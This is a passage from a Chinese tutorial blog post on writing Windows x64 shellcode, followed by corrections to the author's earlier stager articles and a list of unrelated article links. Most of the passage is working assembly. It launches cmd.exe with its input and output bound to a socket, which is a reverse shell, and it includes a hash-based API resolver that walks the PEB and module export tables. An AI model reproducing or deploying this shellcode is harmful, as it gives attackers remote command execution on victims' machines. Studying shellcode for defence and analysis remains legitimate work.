; si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOWmov qword ptr [rsp + 80], r15       ; si.hStdInput = socketmov qword ptr [rsp + 88], r15		; si.hStdOutput = socketmov qword ptr [rsp + 96], r15       ; si.hStdError = socket; 10. 调用CreateProcessAxor rbx,rbx				; 清零,后续会用到xor rcx,rcx				; lpApplicationNamemov rdx,'exe.dmc'push rdxmov rdx,rsp				; "cmd.exe"字符串指针xor r8,r8				; lpProcessAttributesxor r9,r9				; lpThreadAttributes; 为 PROCESS_INFORMATION 分配空间sub rsp, 32             ; 分配32字节(PROCESS_INFORMATION=24 + 对齐8)push rsp					; lpProcessInformationpush r12					; lpStartupInfo,push rbx					; lpCurrentDirectorypush rbx					; lpEnvironmentpush rbx					; dwCreationFlagsinc rbxpush rbx					; bInheritHandlesmov r10,5DDB71FAh			; Kernel32.dll+CreateProcessA hashcall GetProcAddressByHash; 11. 结束
failure:mov r10,2E3E5B71h             ; kernel32.dll+ExitProcess 哈希值call GetProcAddressByHash GetProcAddressByHash:; 1. 保存前4个参数到栈上,并保存rsi和r12的值push r9push r8push rdxpush rcxpush rsipush r12; 2. 获取 InMemoryOrderModuleList 模块链表的第一个模块结点xor rdx,rdx									; 清零mov rdx,gs:[rdx+60h]						; 通过GS段寄存器获取PEB地址(TEB偏移0x60处)mov rdx,[rdx+18h]								; PEB->Ldrmov rdx,[rdx+20h]								; 第一个模块节点,也是链表InMemoryOrderModuleList的首地址;3.模块遍历
next_mod:mov rsi,[rdx+50h]                 				; 模块名称movzx rcx,word ptr [rdx+48h]	 		; 模块名称长度xor r8,r8                         						; 存储接下来要计算的hash; 4.计算模块hash
loop_modname:xor rax, rax											; 清零EAX,准备处理字符lodsb													; 从rSI加载一个字节到AL(自动递增rSI)cmp al,'a'												; 比较当前字符的ASCII值是否小于小写字母'a'(0x61)jl not_lowercase									; 如果字符 < 'a',说明不是小写字母,跳转不处理sub al, 20h											; 若字符在'a'-'z'范围内,通过减0x20转换为大写字母('A'-'Z')
not_lowercase:ror r8d,0dh											; 对R8的低32位进行循环右移13位,不影响高32位add r8d,eax										; 将当前字符的ASCII值(已大写化)累加到哈希值dec ecx												; 字符计数器ECX减1jnz loop_modname							; 继续循环处理下一个字符,直到ECX减至0push rdx												; 将当前模块链表节点地址压栈    push r8												; 将计算完成的哈希值压栈存储hash值; 5.获取导出表mov rdx, [rdx+20h]							; 获取模块基址mov eax, dword ptr [rdx+3ch]			; 读取PE头的RVAadd rax, rdx										; PE头VAcmp word ptr [rax+18h],20Bh			; 检查是否为PE64文件jne get_next_mod1								; 不是就下一个模块mov eax, dword ptr [rax+88h]			; 获取导出表的RVAtest rax, rax										; 检查该模块是否有导出函数jz get_next_mod1								; 没有就下一个模块add rax, rdx										; 获取导出表的VApush rax												; 存储导出表的地址mov ecx, dword ptr [rax+18h]			; 按名称导出的函数数量mov r9d, dword ptr [rax+20h]			; 函数名称字符串地址数组的RVAadd r9, rdx											; 函数名称字符串地址数组的VA; 6.获取函数名	
get_next_func:	test rcx, rcx										; 检查按名称导出的函数数量是否为0jz get_next_mod								; 若所有函数已处理完,跳转至下一个模块遍历dec rcx												; 函数计数器递减(从后向前遍历函数名数组)mov esi, dword ptr [r9+rcx*4]			; 从末尾往前遍历,一个函数名RVA占4字节add rsi, rdx											; 函数名RVAxor r8, r8												; 存储接下来的函数名哈希; 7.计算模块 hash + 函数 hash之和
loop_funcname: xor rax, rax											; 清零EAX,准备处理字符lodsb													; 从rsi加载一个字节到al,rsi自增1ror r8d,0dh											; 对当前哈希值(r8d)循环右移13位add r8d,eax										; 将当前字符的ASCII值(al)累加到哈希值(r8d)cmp al, ah											; 检查当前字符是否为0(字符串结束符)jne loop_funcname							; 若字符非0,继续循环处理下一个字符add r8,[rsp+8]									; 将之前压栈的模块哈希值(位于栈顶+8)加到当前函数哈希cmp r8d,r10d										; r10存储目标hashjnz get_next_func; 8.获取目标函数指针pop rax												; 获取之前存放的当前模块的导出表地址mov r9d, dword ptr [rax+24h]			; 获取序号表(AddressOfNameOrdinals)的 RVAadd r9, rdx											; 序号表起始地址mov cx, [r9+2*rcx]								; 从序号表中获取目标函数的导出索引mov r9d, dword ptr [rax+1ch]			; 获取函数地址表(AddressOfFunctions)的 RVAadd r9, rdx											; AddressOfFunctions数组的首地址mov eax, dword ptr [r9+4*rcx]			; 获取目标函数指针的RVAadd rax, rdx										; 获取目标函数指针的地址finish:pop r8													; 清除当前模块hashpop r8													; 清除当前链表的位置pop r12pop rsi													; 恢复RSIpop rcx												; 恢复第一个参数pop rdx												; 恢复第二个参数pop r8													; 恢复第三个参数pop r9													; 恢复第四个参数pop r10												; 将返回地址地址存储到r10中sub rsp, 20h										; 给前4个参数预留 4*8=32(20h)的影子空间push r10												; 返回地址jmp rax												; 调用目标函数get_next_mod:                 pop rax                         						; 弹出栈中保存的导出表地址
get_next_mod1:pop r8                         				 		; 弹出之前压栈的计算出来的模块哈希值pop rdx                         						; 弹出之前存储在当前模块在链表中的位置mov rdx, [rdx]                  					; 获取链表的下一个模块节点(FLINK)jmp next_mod                    				; 跳转回模块遍历循环main endp
end

5.4 往期文章纠错

(1)是先对齐填充,后设置参数!!!!!

Windows Shellcode开发(x64 stager) 文章[11]中,我写的注释是先填参数后对齐填充,虽然我按照 Stephen Fewer 的注释写的,但这是错误的。

我们验证一下,在 10. 调用CreateProcessAcall GetProcAddressByHash 下一个断点

因为执行完 GetProcAddressByHash 函数后,栈空间如下图所示,很明显影子空间后面就是需要通过栈来传递的参数,比如 01 00 00 00 00 00 00 00 就是 bInheritHandles 参数

修改成下面所示的代码

再次调式看看,因为执行完 push rbx 后执行 push 0 ,所以windows API会将0作为bInheritHandles的值

执行后,程序异常

(2)参数注释错误

在比如说在 Windows Shellcode开发(x86 stager) 文章[12]中出现了不少注释错误,主要原因还是因为我让AI帮我写注释,然后我也没仔细检查。

正确的应该为

; 2. 调用WinHttpOpen创建会话句柄
push ebx                    ; dwFlags=0
push ebx                    ; pszProxyBypassW
push ebx                    ; pszProxyW
push 1                     	 ; dwAccessType
push ebx                    ; pszAgentW
push 332D226Eh           ; WinHttpOpen的哈希值
call GetProcAddressByHash   ; 调用WinHttpOpen,返回句柄在EAX中

http://www.xdnf.cn/news/9634.html

相关文章:

  • 简述MySQL优化锁方面你有什么建议?
  • 彰显国产力量|暴雨亮相2025 C3安全峰会
  • Guava限频器RateLimiter的使用示例
  • STM32学习第一课--工程建立(云端备份与自我复盘)
  • ROS2学习(16)------ URDF 机器人建模方法
  • 操作系统 | 第一章:操作系统引论思维导图
  • 解决ssh: connect to host IP port 22: Connection timed out报错(scp传文件指定端口)
  • Java—多线程
  • 如何使用 poetry 创建虚拟环境,VSCode 如何激活使用 Poetry 虚拟环境(VSCode如何配置 Poetry 虚拟环境)
  • MVCC原理解析
  • js 手写promise
  • 专栏更新通知
  • Python 科学计算有哪些提高运算速度的技巧
  • 力扣——1.两数之和
  • 【论文阅读】User Diverse Preference Modeling by Multimodal Attentive Metric Learning
  • 【笔记】修改abu量化本地部署数据文件夹目录
  • OpenCV CUDA模块直方图计算------用于在 GPU 上执行对比度受限的自适应直方图均衡类cv::cuda::CLAHE
  • Python 的 `next()`函数
  • 数字化回归本质:第一性原理驱动的制造业转型与AI+云PLM系统实践
  • LeetCode-数组技巧题目
  • 影刀RPA-20-高级操作题2
  • 后端思维之高并发处理方案
  • 使用LSTM对销售数据进行预测
  • 简乐 1.4.0 | 非常简洁 无损下载 畅听全网
  • 聊一聊 C# NativeAOT 多平台下的函数导出
  • Milvus向量Search查询综合案例实战(下)
  • Telnet 命令详解
  • 深度学习---注意力机制(Attention Mechanism)
  • docker 网络-用户定义网络
  • 【OCSA 2025】征稿通道已经开启​